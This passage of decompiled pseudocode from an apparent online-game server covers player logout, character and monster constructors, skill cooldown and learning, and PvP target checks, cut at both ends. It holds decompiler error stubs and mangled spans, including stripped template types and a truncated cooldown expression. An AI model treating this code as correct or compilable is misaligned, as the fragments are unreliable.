FieldMap::fm_GetGuildTournamentSystem(*(void **)(v4 + 98)); GuildTournamentSystem::PlayerUnRegister((GuildTournamentSystem *)v6, (#593 *)v4); } goto $L175832; case 3: $L175832: ShineObjectClass::ShinePlayer::sp_KQItemDrop((void *)v4); WholeSaver::ws_save2DB(&wholesaver, (#593 *)v4, 0, SaveType); goto $L175834; case 2: $L175834: if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1152))(v4) == 6 ) ShineObjectClass::ShinePlayer::sp_HorseItemSave((void *)v4); ShineObjectClass::ShineObject::so_Unmark((void *)v4, when, logoutpacket, 3); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 304))(v4) ) (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 140))(v4); if ( (unsigned __int8)(*(int (__thiscall **)(int, unsigned __int8 *))(*(_DWORD *)v4 + 2940))(v4, &SaveType) == 1 ) { v7 = SaveType; v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v9 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v8, v7); if ( v9 ) v9->vfptr->go_PlayerUnmarking(v9, (#593 *)v4); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2092))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2116))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 3192))(v4); break; case 1: WholeSaver::ws_save2DB(&wholesaver, (#593 *)v4, 0, SaveType); if ( *(_DWORD *)(v4 + 143184) != 4 ) ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 143172), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))ShineObjectClass::ShinePlayer::sp_Schedule_Kickout, TSRT_RETURN, TSCW_LOGOUT, 10000); break; default: break; } ShineObjectClass::ShinePlayer::sp_GuildStorageClose((void *)v4); ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatRelease(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Unmark"); } //----- (0052FE30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this) { ShineObjectClass::ShineAxialFlag *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineAxialFlag::_vftable_; v1->safm_vecRoutions._Myfirst = 0; v1->safm_vecRoutions._Mylast = 0; v1->safm_vecRoutions._Myend = 0; v1->safm_Screen = 0; *(_DWORD *)&v1->gap0[82] = (char *)v1 + 210; *(_DWORD *)&v1->gap0[78] = (char *)v1 + 202; } // 668968: using guessed type int (*ShineObjectClass__ShineAxialFlag___vftable_)(); //----- (0052FEA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::ShinePlayer(void *hd) { int v1; // esi@1 int v2; // eax@1 char v3; // dl@1 int v4; // ecx@1 v1 = (int)hd; ShineObjectClass::ShineMobileObject::ShineMobileObject(); *(_DWORD *)v1 = &ShineObjectClass::ShinePlayer::_vftable_; ItemLotInspector::ItemLotInspector((ItemLotInspector *)(v1 + 7452)); *(_DWORD *)(v1 + 23393) = 0; *(_DWORD *)(v1 + 23389) = 0; *(_DWORD *)(v1 + 23385) = 0; *(_DWORD *)(v1 + 23381) = 0; TargetAnalyser_Player::TargetAnalyser_Player((TargetAnalyser_Player *)(v1 + 23696)); *(_DWORD *)(v1 + 23704) = &PacketContainer::_vftable_; *(_DWORD *)(v1 + 23708) = 0; *(_DWORD *)(v1 + 31904) = 0; MoveManager::MoveManager((DiceTaiSai *)(v1 + 31916)); BriefInformationCharacter::BriefInformationCharacter((BriefInformationCharacter *)(v1 + 31920)); PineScriptToken::pst_Clear((PineScriptToken *)(v1 + 32164)); MoveManager::MoveManager((DiceTaiSai *)(v1 + 32165)); *(_DWORD *)(v1 + 32187) = 0; *(_DWORD *)(v1 + 32183) = 0; *(_DWORD *)(v1 + 32179) = 0; *(_DWORD *)(v1 + 32175) = 0; *(_DWORD *)(v1 + 32237) = 0; *(_DWORD *)(v1 + 32233) = 0; *(_DWORD *)(v1 + 32229) = 0; *(_DWORD *)(v1 + 32300) = 0; *(_DWORD *)(v1 + 32296) = 0; *(_BYTE *)(v1 + 32288) = 0; CharacterInventory::CharacterInventory((CharacterInventory *)(v1 + 32312)); InventoryLocking::InventoryCellLockList::InventoryCellLockList((InventoryLocking::InventoryCellLockList *)(v1 + 57880)); NormalAttackDamageDelay::NormalAttackDamageTick::NormalAttackDamageTick((NormalAttackDamageDelay::NormalAttackDamageTick *)(v1 + 66156)); ShineQuestDiary::ShineQuestDiary((ShineQuestDiary *)(v1 + 66176)); CharaterSkillList::CharaterSkillList((CharaterSkillList *)(v1 + 68496)); CharacterPassiveList::CharacterPassiveList((CharacterPassiveList *)(v1 + 68532)); AllOfRangeArgument::AllOfRangeArgument((AllOfRangeArgument *)(v1 + 68579)); ShineObjectClass::ShinePlayer::NPCProcess::NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(v1 + 68608)); ItemAccountStorage::ItemAccountStorage((ItemAccountStorage *)(v1 + 69776)); ItemRewardStorage::ItemRewardStorage((ItemRewardStorage *)(v1 + 136600)); TickTimer::TickTimer((TickTimer *)(v1 + 139424)); BriefInfoBackup::BriefInfoBackup((BriefInfoBackup *)(v1 + 139500)); TreasureChestLocationManager::TreasureChestLocationManager((TreasureChestLocationManager *)(v1 + 139627)); StreetBoothSell::StreetBoothSell((StreetBoothSell *)(v1 + 139656)); StreetBoothBuy::StreetBoothBuy((StreetBoothBuy *)(v1 + 140024)); CCharacterTitleZone::CCharacterTitleZone((CCharacterTitleZone *)(v1 + 140400), &gCharacterTitleData); Metronome::Metronome((Metronome *)(v1 + 142012)); Metronome::Metronome((Metronome *)(v1 + 142020)); Metronome::Metronome((Metronome *)(v1 + 142028)); Metronome::Metronome((Metronome *)(v1 + 142036)); ChargedItemEffectList::ChargedEffectList::ChargedEffectList((ChargedItemEffectList::ChargedEffectList *)(v1 + 142064)); CChargedItem::CChargedItem((CChargedItem *)(v1 + 142740)); MoveManager::MoveManager((DiceTaiSai *)(v1 + 143168)); MoveManager::MoveManager((DiceTaiSai *)(v1 + 143169)); ShineObjectClass::ShinePlayer::TimeScheduler::TimeScheduler((ShineObjectClass::ShinePlayer::TimeScheduler *)(v1 + 143172)); HuntLog::MobHuntLog::MobHuntLog((HuntLog::MobHuntLog *)(v1 + 143228)); ItemActionObserveManager::ItemActionObserveManager((ItemActionObserveManager *)(v1 + 143628)); *(_DWORD *)(v1 + 143672) = 0; *(_DWORD *)(v1 + 143676) = 0; *(_DWORD *)(v1 + 143680) = 0; MobTargetAggresive::MobTargetAggresive((MobTargetAggresive *)(v1 + 143688)); *(_DWORD *)(v1 + 143688) = &MobTargetPlayerCaptivate::_vftable_; SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob((SpyNet::IntelligenceOffice4Mob *)(v1 + 143764)); *(_DWORD *)(v1 + 143841) = 0; *(_DWORD *)(v1 + 143837) = 0; *(_DWORD *)(v1 + 143833) = 0; *(_DWORD *)(v1 + 144120) = 0; *(_DWORD *)(v1 + 144116) = 0; *(_DWORD *)(v1 + 144112) = 0; ItemActionObserveManager::SetObject((ItemActionObserveManager *)(v1 + 143628), (#593 *)v1); *(_DWORD *)(v1 + 66148) = ShineObjectClass::ShinePlayer::sp_PointStone_NotInit; *(_DWORD *)(v1 + 66140) = ShineObjectClass::ShinePlayer::sp_PointStone_NotInit; *(_DWORD *)(v1 + 32300) = v1; CQuestZone::qz_SetObject((CQuestZone *)(v1 + 66176), (#734 *)v1); CCharacterTitleZone::ctz_SetObject((CCharacterTitleZone *)(v1 + 140400), (#593 *)v1); *(_DWORD *)(v1 + 139652) = &ShineObjectClass::ShinePlayer::BoothSell::board; InventoryLocking::InventoryCellLockList::icll_SetObject( (InventoryLocking::InventoryCellLockList *)(v1 + 57880), (#734 *)v1); PacketContainer::pcb_SetSocketSession((ORField *)(v1 + 23696), (ORColumnHeader *)v1); *(_DWORD *)(v1 + 228) = v1 + 23696; v2 = *(_DWORD *)(v1 + 32160); *(_DWORD *)(v1 + 3568) = v2 + 27; *(_DWORD *)(v1 + 94) = v1 + 139618; *(_DWORD *)(v1 + 78) = v2 + 18; *(_DWORD *)(v1 + 82) = v2 + 26; *(_DWORD *)(v1 + 139618) = 0; *(_BYTE *)(*(_DWORD *)(v1 + 94) + 4) = 0; *(_DWORD *)(v1 + 23692) = &ShineObjectClass::ShinePlayer::sp_defaultsocket; *(_DWORD *)(v1 + 31912) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; *(_DWORD *)(v1 + 31908) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; *(_WORD *)(v1 + 140384) = 8254; *(_WORD *)(v1 + 140388) = 0; *(_WORD *)(v1 + 140386) = 0; ShineObjectClass::ShinePlayer::so_ply_MH_SetMyHandle(v1, -1); *(_WORD *)(v1 + 23678) = -1; *(_DWORD *)(v1 + 23680) = 0; *(_DWORD *)(v1 + 143264) = 0; *(_DWORD *)(v1 + 139392) = CParty::p_defaultslot(&partycontainer); ShineObjectClass::ShinePlayer::so_SetRaid((void *)v1, 0); v3 = *(_BYTE *)(v1 + 23353); *(_DWORD *)(v1 + 143308) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing; *(_BYTE *)(v1 + 143312) = 0; *(_DWORD *)(v1 + 143684) = 0; *(_BYTE *)(v1 + 143313) = 0; v4 = *(_DWORD *)(v1 + 32160); *(_BYTE *)(v1 + 23353) = v3 & 0xEF; *(_BYTE *)(v4 + 170) = 0; *(_BYTE *)(v1 + 143900) = 0; *(_DWORD *)(v1 + 143904) = 0; *(_DWORD *)(v1 + 23416) = 0; *(_DWORD *)(v1 + 23420) = 0; *(_DWORD *)(v1 + 23684) = 0; ShineObjectClass::ShinePlayer::so_ply_MH_InitFurnitureEmotionInfo(v1); std::vector>::reserve( (std::vector > *)(v1 + 143668), 0xAu); *(_BYTE *)(v1 + 23353) &= 0x9Fu; *(_DWORD *)(v1 + 143780) = 0; *(_DWORD *)(v1 + 143784) = 0; ShineObjectClass::ShinePlayer::so_SetSpamerChatBan(v1, 0); ShineObjectClass::ShinePlayer::sp_SetIsAuctionNewItem(v1, 0); *(_DWORD *)(v1 + 143841) = 0; *(_DWORD *)(v1 + 143837) = 0; *(_DWORD *)(v1 + 143833) = 0; strncpy((char *)(v1 + 143833), byte_635E1E, 0xCu); *(_DWORD *)(v1 + 143848) = 0; *(_DWORD *)(v1 + 143852) = 0; *(_DWORD *)(v1 + 143856) = 0; *(_DWORD *)(v1 + 143860) = 0; *(_DWORD *)(v1 + 143864) = 0; *(_DWORD *)(v1 + 143868) = 0; *(_WORD *)(v1 + 143908) = -1; *(_DWORD *)(v1 + 144120) = 0; *(_DWORD *)(v1 + 144116) = 0; *(_DWORD *)(v1 + 144112) = 0; strncpy((char *)(v1 + 144112), byte_635E1E, 0xCu); *(_DWORD *)(v1 + 144124) = 0; *(_DWORD *)(v1 + 144128) = 0; return v1; } // 52BAE0: using guessed type int ShineObjectClass__ShineMobileObject__ShineMobileObject(void); // 66106C: using guessed type int (__stdcall *PacketContainer___vftable_)(int hd); // 661640: using guessed type int (__stdcall *MobTargetPlayerCaptivate___vftable_)(int, #593 *pObj, int distancesquar); // 66CE28: using guessed type int (*ShineObjectClass__ShinePlayer___vftable_)(); // 6B64E0: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int itm); // 130BD958: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; //----- (005303C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_banning(void *this, int when) { void *v2; // esi@1 int v3; // edx@3 int v4; // eax@3 ShineObjectClass::RemoveWhen v5; // [sp+1Ch] [bp+0h]@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_banning"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_banning"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2320))(v2); *(_DWORD *)(*((_DWORD *)v2 + 5923) + 4) = 3; v3 = *(_DWORD *)v2; *((_BYTE *)v2 + 143664) = 1; (*(void (__thiscall **)(void *))(v3 + 828))(v2); v4 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v2 + 2), v5, 16); if ( !(_BYTE)v4 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout : Fail to object free", v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_banning"); } //----- (005304C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTime(void *psubject, int skill, unsigned int cooltime_milli, int delaygroupnum, unsigned int delaygroupcooltime_milli, int empowdiscount) { void *v6; // ebp@1 unsigned int v7; // esi@3 unsigned int v8; // edi@3 char v9; // bl@3 SkillDataBox::SkillDataIndex *v10; // eax@6 ActiveSkillGroup **v11; // edx@7 SkillDataBox::SkillDataIndex *v12; // ST04_4@9 ItemActionObserveManager *v13; // eax@9 char ActionRt; // [sp+4h] [bp-1Ch]@9 int v15; // [sp+8h] [bp-18h]@9 int v16; // [sp+Ch] [bp-14h]@9 int v17; // [sp+10h] [bp-10h]@9 int v18; // [sp+1Ch] [bp-4h]@9 v6 = psubject; if ( ShineObjectClass::ShinePlayer::sp_IsIgnoreCoolTime((int)psubject) ) { (*(void (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v6 + 884))(v6, skill, 0); } else { v7 = cooltime_milli; v8 = delaygroupcooltime_milli; v9 = 0; if ( SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_COOLTIMERATE) != 1000 ) { v7 = (unsigned int)(cooltime_milli * SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_COOLTIMERATE) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; v8 = (unsigned int)(delaygroupcooltime_milli * SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_COOLTIMERATE) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; v9 = 1; } if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1484))(v6) ) { v10 = SkillDataBox::operator__(&skilldatabox, skill); if ( v10 ) { v11 = v10->sdi_ActiveSkillGroups._Myfirst; if ( v11 ) { if ( v10->sdi_ActiveSkillGroups._Mylast - v11 ) { v15 = 0; v16 = 0; v17 = 0; v12 = v10; v18 = 0; v13 = (ItemActionObserveManager *)(*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1484))(v6); if ( ItemActionObserveManager::EventRunBySkillGroupIndex( v13, (ItemActionObserveManager::ActionResults *)&ActionRt, v12, SEIT_COOLTIME_RATE_DECREASE, (#593 *)v6, 0) == 1 ) { v7 = ItemActionObserveManager::ActionResults::GetRateAppliValue( (ItemActionObserveManager::ActionResults *)&ActionRt, v7); v8 = ItemActionObserveManager::ActionResults::GetRateAppliValue( (ItemActionObserveManager::ActionResults *)&ActionRt, v8); v9 = 1; } v18 = -1; std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator> 32) >> 6) + ((unsigned int)((unsigned __int64)((signed int)(v7 - empowdiscount) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)); } } //----- (00530660) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LearnSkill(int this, unsigned __int16 skill) { int v2; // esi@1 v2 = this; CharaterSkillList::csl_Learn((CharaterSkillList *)(this + 68496), skill); *(_DWORD *)(v2 + 32264) |= 1u; } //----- (00530680) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_Learn(CharaterSkillList *this, unsigned __int16 skill) { unsigned int v2; // edi@1 CharaterSkillList *v3; // esi@1 int v4; // ebx@1 SkillDataBox::SkillDataIndex *v5; // eax@1 ActiveSkillInfo *v6; // eax@3 char v7; // cl@3 const char *v8; // eax@3 CharaterSkillList::CharSkill *v9; // eax@5 std::vector >::iterator v10; // edi@6 std::vector >::iterator v11; // ebx@6 unsigned __int16 SkillInfo; // [sp+10h] [bp-14h]@6 unsigned int v13; // [sp+14h] [bp-10h]@6 __int16 v14; // [sp+18h] [bp-Ch]@6 int v15; // [sp+1Ch] [bp-8h]@6 int v16; // [sp+20h] [bp-4h]@6 v2 = clockwatch.cw_CurrTick; v3 = this; v4 = 0; v5 = SkillDataBox::operator__(&skilldatabox, skill); if ( v5 ) { v6 = v5->sdi_Activ; v7 = v6->DemandSk[0]; v8 = v6->DemandSk; if ( v7 != 45 ) { *(_DWORD *)&skillbtreeunion = BTree::operator__(&skillnametree, v8); if ( CharaterSkillList::csl_IsLearn(v3, skillbtreeunion) ) { v9 = CharaterSkillList::csl_GetSkillStruct(v3, skillbtreeunion); v2 = v9->cs_EndOfCooltime; v4 = v9->cs_bSave; } } SkillInfo = skill; v13 = v2; v16 = v4; v14 = 0; v15 = 0; std::vector>::push_back( &v3->csl_Skill, (CharaterSkillList::CharSkill *)&SkillInfo); v10 = (std::vector >::iterator)v3->csl_Skill._Mylast; v11 = (std::vector >::iterator)v3->csl_Skill._Myfirst; ++v3->csl_SkillNumber; std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v11, v10, (*(_DWORD *)&v10 - *(_DWORD *)&v11) / 20, CharaterSkillList::CharSkill::cs_Compare_STLVer); CharaterSkillList::csl_Toggle_Store(v3, skill); } else { AssertClass::ac_AssertFail( &shineassert, "void CharaterSkillList::csl_Learn(ShineSkillID skill) NotFind Skill ID ", skill); } } //----- (00530770) -------------------------------------------------------- #error "530770: undefined or illegal type '#593' (funcsize=15)" //----- (005307A0) -------------------------------------------------------- #error "5307A0: undefined or illegal type '#593' (funcsize=216)" //----- (00530A50) -------------------------------------------------------- #error "530A50: undefined or illegal type '#593' (funcsize=11)" //----- (00530A70) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::ShineMob(void *hd) { void *v1; // esi@1 int v2; // eax@1 v1 = hd; ShineObjectClass::ShineMobileObject::ShineMobileObject(); *(_DWORD *)v1 = &ShineObjectClass::ShineMob::_vftable_; Metronome::Metronome((Metronome *)v1 + 931); TargetAnalyser_Player::TargetAnalyser_Player((TargetAnalyser_Player *)v1 + 932); MoveManager::MoveManager((DiceTaiSai *)((char *)v1 + 7468)); BriefInformationMob::BriefInformationMob((BriefInformationMob *)((char *)v1 + 7488)); *(_DWORD *)((char *)v1 + 7643) = 0; *(_DWORD *)((char *)v1 + 7639) = 0; *(_DWORD *)((char *)v1 + 7635) = 0; *((_DWORD *)v1 + 1917) = 0; *((_DWORD *)v1 + 1918) = 0; *((_DWORD *)v1 + 1919) = 0; MobTacticElement::MobActionArgument::Selector::Selector((MobTacticElement::MobActionArgument::Selector *)((char *)v1 + 7716)); MobTacticElement::MobActionArgument::Actor::Actor((MobTacticElement::MobActionArgument::Actor *)((char *)v1 + 8392)); HitMeList::EnemyList::EnemyList((HitMeList::EnemyList *)((char *)v1 + 8584)); *((_DWORD *)v1 + 2260) = 0; *((_DWORD *)v1 + 2261) = 0; *((_DWORD *)v1 + 2262) = 0; TickTimer::TickTimer((TickTimer *)v1 + 756); PacketContainer::pcb_SetSocketSession((ORField *)v1 + 932, (ORColumnHeader *)v1); v2 = *(_DWORD *)((char *)v1 + 7631); *(_DWORD *)((char *)v1 + 78) = v2 + 5; *((_DWORD *)v1 + 57) = (char *)v1 + 7456; *(_DWORD *)((char *)v1 + 82) = v2 + 13; *((_DWORD *)v1 + 964) = charclassmanager.ccm_array[26]; *((_DWORD *)v1 + 892) = v2 + 2; *(_DWORD *)((char *)v1 + 9017) = v1; *(_DWORD *)((char *)v1 + 9013) = v1; *((_DWORD *)v1 + 2267) = 0; std::vector>::reserve( (std::vector > *)v1 + 479, 8u); *((_DWORD *)v1 + 2272) = 0; return v1; } // 52BAE0: using guessed type int ShineObjectClass__ShineMobileObject__ShineMobileObject(void); // 669668: using guessed type int (*ShineObjectClass__ShineMob___vftable_)(); //----- (00530BD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::ShineBandit(ShineObjectClass::ShineBandit *this) { ShineObjectClass::ShineBandit *v1; // esi@1 PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineMob::ShineMob(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineBandit::_vftable_; BriefInformationCharacter::BriefInformationCharacter(&v1->sb_MobBriefInfo); v2 = v1->sb_MobBriefInfo.bic_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 18; *(_DWORD *)&v1->gap0[3568] = (char *)v2 + 27; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 26; } // 66A458: using guessed type int (*ShineObjectClass__ShineBandit___vftable_)(); //----- (00530C40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::ShineServant(ShineObjectClass::ShineServant *this) { ShineObjectClass::ShineServant *v1; // esi@1 v1 = this; ShineObjectClass::ShineMob::ShineMob(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineServant::_vftable_; *(_DWORD *)&v1->gap0[9176] = &ShineObjectClass::ShineObject::so_MiscTableDef; } // 66B248: using guessed type int (*ShineObjectClass__ShineServant___vftable_)(); //----- (00530C60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::ShineNPC(ShineObjectClass::ShineNPC *this) { ShineObjectClass::ShineNPC *v1; // esi@1 v1 = this; ShineObjectClass::ShineMob::ShineMob(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineNPC::_vftable_; v1->sn_VanishTime = 0; *(_DWORD *)&v1->gap0[7712] = v1; *(_DWORD *)&v1->gap0[8572] = &MobTacticElement::MobActionArgument::Actor::nobrain; } // 66C038: using guessed type int (*ShineObjectClass__ShineNPC___vftable_)(); //----- (00530C90) -------------------------------------------------------- #error "530C90: undefined or illegal type '#734' (funcsize=986)" //----- (00531A20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SetCaptivate(void *this, char bValue) { void *v2; // esi@1 char result; // al@1 v2 = this; (*(void (**)(void))(*(_DWORD *)this + 2644))(); result = (*((_BYTE *)v2 + 7428) ^ 32 * bValue) & 0x20 ^ *((_BYTE *)v2 + 7428); *((_BYTE *)v2 + 7428) = result; return result; } //----- (00531A50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_IsCaptivate(int this) { return (*(_BYTE *)(this + 7428) >> 5) & 1; } //----- (00531A60) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::smo_IsFreePKTarget(int this, int a2) { int v2; // esi@1 int v3; // eax@5 int v4; // eax@6 int v5; // eax@7 unsigned int v6; // ST04_4@9 unsigned int v7; // eax@9 unsigned int v8; // ST04_4@10 unsigned int v9; // ST00_4@10 int v10; // eax@10 v2 = this; return a2 && ShineObjectClass::ShineObject::so_CurMapname(this) && ((unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 3464))(v2) == 1 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 3464))(a2) == 1 || (v3 = *(_DWORD *)(ShineObjectClass::ShineObject::so_CurMapname(v2) + 416)) != 0 && ((v4 = *(_DWORD *)(v3 + 4) - 1) == 0 || ((v5 = v4 - 1) == 0 || v5 == 2) && ((v6 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2088))(a2), v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2088))(v2), CGuildZone::IsGuildEnemy(&gGuild, v7, v6) == 1) || (v8 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2088))(a2), v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2088))(v2), v10 = ShineObjectClass::ShineObject::so_CurMapname(v2), FieldMap::fm_GuildTournamentEnemy((void *)v10, v9, v8) == 1)))); } //----- (00531B20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::smo_mob_RegenAfterLogout(void *this) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 3476))((char *)this + 8992); } //----- (00531B40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_IsActiveMode(void *this) { int v1; // esi@1 char v2; // al@3 char result; // al@4 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineMobileObject::smo_IsActiveMode"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineMobileObject::smo_IsActiveMode"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S5_57 & 1) ) { _S5_57 |= 1u; cmc_92.cmc_AllowMode = 86; atexit(_E6_70); } v2 = ShineObjectClass::ShineMobileObject::smo_GetMode(v1); --funcallanalizer.fca_stackpoint; if ( (1 << v2) & cmc_92.cmc_AllowMode ) { FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineMobileObject::smo_IsActiveMode"); result = 1; } else { FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineMobileObject::smo_IsActiveMode"); result = 0; } return result; } //----- (00531C40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_LoginAfterLogout(void *this, int newloc) { int v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 int v5; // ST04_4@3 int v6; // eax@3 char *v7; // [sp-4h] [bp-20h]@2 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObject::ShineMobileObject::smo_LoginAfterLogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::ShineMobileObject::smo_LoginAfterLogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2644))(v2); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 20))(v2); (*(void (__thiscall **)(int, signed int, _DWORD, signed int))(*(_DWORD *)v2 + 828))(v2, 2, 0, 3); v3 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v2); v4 = *(_DWORD *)(newloc + 4); *(_DWORD *)v3 = *(_DWORD *)newloc; *(_DWORD *)(v3 + 4) = v4; if ( FieldMap::fm_Marking(*(#593 **)(v2 + 98), v2, 0, 0) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 1008))(v2); v7 = "ShineObject::ShineMobileObject::smo_LoginAfterLogout"; } else { v5 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v2); v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( (void *)v2, v6, v5, 0, 0, (int)ShineObjectClass::ShineObject::so_BroadcastBriefInfo, 0, 0, 0, 0, 65535); v7 = "ShineObject::ShineMobileObject::smo_LoginAfterLogout"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (00531D60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_LoginAfterLogout(void *this, int newloc) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObject::ShineMob::smo_LoginAfterLogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::ShineMob::smo_LoginAfterLogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::smo_LoginAfterLogout(v2, newloc); MobRoamingPoint::mrp_Start((MobRoamingPoint *)v2 + 3734); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObject::ShineMob::smo_LoginAfterLogout"); } //----- (00531E10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetItemLot(void *this, const char *item, int lot, int locked) { void *v4; // edi@1 int v5; // edx@1 char result; // al@2 unsigned __int16 v7; // ax@9 unsigned __int16 v8; // bx@9 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v10; // [sp+18h] [bp-4h]@1 int itema; // [sp+20h] [bp+4h]@11 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_GetItemLot"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetItemLot"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_GetItemLot"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v5 = funcallanalizer.fca_stackpoint++ + 1; v10 = 0; if ( !item ) { funcallanalizer.fca_stackpoint = v5 - 1; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, 